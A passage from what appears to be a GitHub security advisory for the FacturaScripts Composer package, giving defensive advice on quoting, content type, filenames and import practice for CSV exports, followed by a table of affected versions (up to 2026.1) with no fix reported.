an embedded delimiter (`a"b`) is correctly doubled to `"a""b"`. Defence in depth: emit `Content-Type: text/csv; charset=utf-8` plus a `Content-Disposition` filename that the operator's MUA/browser cannot trivially confuse for a trusted XLSX (e.g. always `*.csv`, never `*.xls` or `*.xlsx`), and document in `SECURITY.md` that exports must be opened with the spreadsheet's "Import Text" / "From Text/CSV" wizard until the application is upgraded.
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| Package | Affected range | Fixed version |
|---|---|---|
| facturascripts/facturascriptscomposer | <=2026.1 | Not reported |
Reported by GitHub Security Advisories (ghsa).
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